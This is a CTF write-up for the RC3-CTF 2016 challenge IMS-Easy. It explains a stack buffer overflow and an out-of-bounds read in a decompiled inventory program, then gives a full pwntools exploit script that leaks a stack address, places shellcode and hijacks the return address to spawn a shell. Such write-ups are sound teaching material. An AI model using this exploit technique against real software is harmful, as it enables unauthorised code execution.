RC3-CTF 2016

logo

Posted by kablaa November, 2016

IMS-Easy (Pwn-150)

I thought this challenge was a lot of fun. First off, upon running the binary we are greeted with a menu:

================================================
|RC3 Inventory Management System (public beta )|
================================================
1. Add record
2. Delete record
3. View record
4. Quit
Choose:
                      
So let's pop the hood on this bad boi.

                      
int main(int argc, const char **argv, const char **envp)
{
      char product_list[68]; // [esp+1Ch] [ebp-44h]@1

      setbuf(stdout, 0);
      memset(product_list, 0, 60);
      while ( 1 )
      {
            print_menu();
            if ( process_choice(product_list, &num_products) )
                  break;
            printf("There are %d records in the IMS\n\n", num_products);
      }
      return 0;  // can overwrite the ret addr of main
}
                      
                    

There are a few important things to note here. We have a product_list buffer that is declared locally in main. We also seem to have a global variable num_products. The menu is printed and then those two variable are passed to a handling function. Let's take a look at the functionality of each option listed in the menu.

                      
else if ( choice == 1 )  // add
{
      printf("Enter product ID: ");
      fgets(choice_buff, 12, stdin);
      destination = &product_list[12 * *num_products];
      *(destination + 2) = strtoul(choice_buff, 0, 10);
      printf("Enter product code: ");
      fgets(choice_buff, 12, stdin);
      end_of_string = strchr(choice_buff, '\n');
      if ( end_of_string )
            *end_of_string = 0;
      strncpy(&product_list[12 * *num_products], choice_buff, 8);
      ++*num_products;
      }
}
                      
                    

Looking at the add functionality we start to get a feeling for how this program works. It looks like its using the product_list buffer declared in main as a list of products. Each product is kind of like a structure. Each struct is 12 bytes, and they are stored contiguously in the buffer. To clarify, these aren't actual C structs, but they are implied by the way this program seems to work. If they were actual C struct, I think they would look something like this:

                      
struct Product{
      char product_code[8];
      int product_id;
}
                      
                    

The add functionality seems to find the end of the product list and creates a new struct at the end. Do you see the problem here? There is no check to ensure that more bytes than 68 bytes are written! Running checksec on the binary reveals that there is no canary and also no restrictions on stack executions. So we have a classic buffer overflow! Now if only we had a memory leak...

                      
if ( choice == 3 )  // view
{
      printf("Enter the index of the product you wish to view: ");
      fgets(choice_buff, 12, stdin);
      index = strtol(choice_buff, 0, 10);
      printf("Product ID: %d, Product Code: ", &product_list[12 * index + 8]);
      fwrite(&product_list[12 * index], 8, 1, stdout);// memory leak
      fflush(stdout);
}
                      
                    

So this functionality will use the index supplied by the user to find the location of a product struct and print the 8 byte product code. However, there is no check on if the index is greater than the number of products, for that matter no check to even make sure the index is greater than zero! We have an 8 byte memory leak!

So our plan is this:

  1. Leak a stack address with the view functionality and use it to calculate the address of the product_list buffer
  2. Write our shellcode into the product_list buffer witht the add functionality
  3. Overwrite thre return address of main with the address of our shellcode
  4. Quit out of the program so that we return to our shellcode
  5. Get dat flag
The hardest part of this challenge was getting the shellcode into the buffer. Each product was being treated like a struct, so I had to break my shellocde up into sections, convert parts of it to integers and write the other parts as strings. It took me quite a while, but here is my easy.py

                      
from pwn import *
import string
bin_name = "IMS-easy"
elf = ELF(bin_name)
#context.log_level='debug'

shellcode = shellcraft.i386.linux.sh()
shellcode = asm(shellcode)

sc_len = len(shellcode)
# our shellcode is 22 bytes long
#8 bytes
first = shellcode[:8]
#4 bytes
second = shellcode[8:12]
#8 bytes
third = shellcode[12:20]
#last 4 bytes
fourth = shellcode[20:sc_len] + "\x90"*(24 - sc_len )

p = process(bin_name)
def send_data(data):
    p.recv()
    p.sendline(data)

log.info("leaking address")
send_data("3")
p.sendline("7")
p.recvuntil("Code: ")
#recieving 4 bytes of junk
p.recv(4)
data = p.recv(4)
leaked_addr = u32(data)
log.success("got leaked addr: " + hex(leaked_addr))
log.info("calculating offset")
offset = -84 - 132
shellcode_addr =  leaked_addr + offset
log.success("shellcode located at: " + hex(shellcode_addr))

#write shellcode to memory
log.info("writing shellcode to memory")
send_data("1")
send_data(str(u32(second)))
send_data(first)

send_data("1")
send_data(str(u32(fourth)))
send_data(third)
log.success("shellcode written")
#filling the rest of the buffer untill we get to the ret addr
for i in range(0,4):
    send_data("1")
    send_data(str(0x90909090))
    send_data("\x90"*8)

#return  to shellcode
log.info("overwriting ret addr")
send_data("1")
send_data(str(shellcode_addr))
send_data("JUNKJUNK")
log.success("ret addr overwritten")

log.success("returning")
send_data("4")
p.interactive()